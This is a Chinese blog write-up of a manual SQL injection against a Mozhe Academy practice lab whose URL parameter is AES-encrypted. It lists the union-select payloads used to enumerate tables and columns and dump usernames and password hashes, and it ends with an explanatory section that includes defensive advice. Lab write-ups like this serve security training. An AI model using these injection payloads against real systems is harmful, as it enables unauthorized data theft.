记一次墨者学院靶场手工注入

环境信息:

环境是这样的,通过SQL注入方式,获取WEB业务系统的账号密码进行登录。

web业务数据做了AES加密,需要找到AES加密秘钥和偏移量才能进行解密。

环境地址:

http://219.XXX.XXX.228:49408/

测试过程:

访问页面如图:

尝试账号密码登录进行注入,均返回账号或密码错误,注入点不在账号密码处,只能找其他地方。

登录一栏下面有一则通知栏,点击进去,感觉值为AES加密:

http://219.XXX.XXX.228:49408/news/list.php?id=ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09

历经千辛万苦终于找到一个文件找到了AES的加密算法:

解密ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09,解密:结果为1_mozhe。

1 and 1=2_mozhe加密之后访问,页面报错,终于找到注入点了。

1 order by 4_mozhe,测试有4个字段(字符型需要加':1' order by 4 --+)

1 union select 1,database(),version(),4_mozhe 查看数据库名和版本信息

-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()_mozhe  获取表名

-1  union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='XXXXX'_mozhe  获取字段

-1  union select 1,group_concat(name,0x3a,password),3,4 from XXXX_mozhe  获取信息数据

得到账号密码,密码为MD5加密。

总结

加密不能从根本上解决SQL注入的问题。很久没进行手注了,都忘记语法了,正好复习一下。

 

 

 

 

 

 

 

### 关于SQL手工注入的学习 #### SQL手工注入简介 SQL注入是一种常见的Web应用程序攻击方式,通过向查询参数输入恶意的SQL语句片段,从而改变原有SQL命令的行为。这种技术能够绕过身份验证机制、读取敏感数据甚至控制服务器。 #### 靶场环境介绍 墨者学院提供了一个专门用于练习SQL注入技巧的安全测试平台[^2]。此靶场基于Nginx+PHP+MySQL架构构建而成,并且访问成本低廉——仅需消耗一枚虚拟货币“墨币”,新用户注册时通常会被赠送足够的余额来进行多次尝试而不必担心额外开销。 #### 实践案例分析 对于想要深入了解如何实施SQL注入的人来说,在实际操作之前先观察目标网站是否存在潜在可利用之处非常重要。比如查看URL中的GET请求参数是否未经充分过滤就被直接拼接到后台执行的SQL指令里;又或者是POST表单提交的数据项有没有被妥善处理等情形都可能是突破口所在[^1]。 当确认存在风险点之后,则可以根据具体场景采取不同策略展开进一步探索: - **字符型字段**:如果发现某个文本框允许接收任意字符串作为输入值的话,那么就可以试着构造一些特殊模式串去试探内部逻辑反应情况。例如`' OR '1'='1`这样的表达式往往能帮助判断出是否有漏洞存在以及其大致位置范围[^3]。 - **联合查询(UNION SELECT)**:这是一种较为高级但也非常实用的方法之一。它可以让攻击者将自己的SELECT子句附加到原始查询后面并获取更多有用的信息。像下面这条语句就是用来枚举当前库内所有表格名称及其所属数据库名的一个例子: ```sql new_list.php?id=-1 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),DATABASE(),4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() ``` 请注意上述做法仅供合法授权下的渗透测试培训用途,请勿非法入侵任何网络设施! #### 安全建议 为了防止遭受此类威胁影响业务正常运转,开发者应当遵循最佳编码实践指南,如采用预编译语句代替动态组装SQL文法结构;严格校验前端传来的一切外部可控变量合法性;定期审查源码质量排除隐患等等措施加强防护力度。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值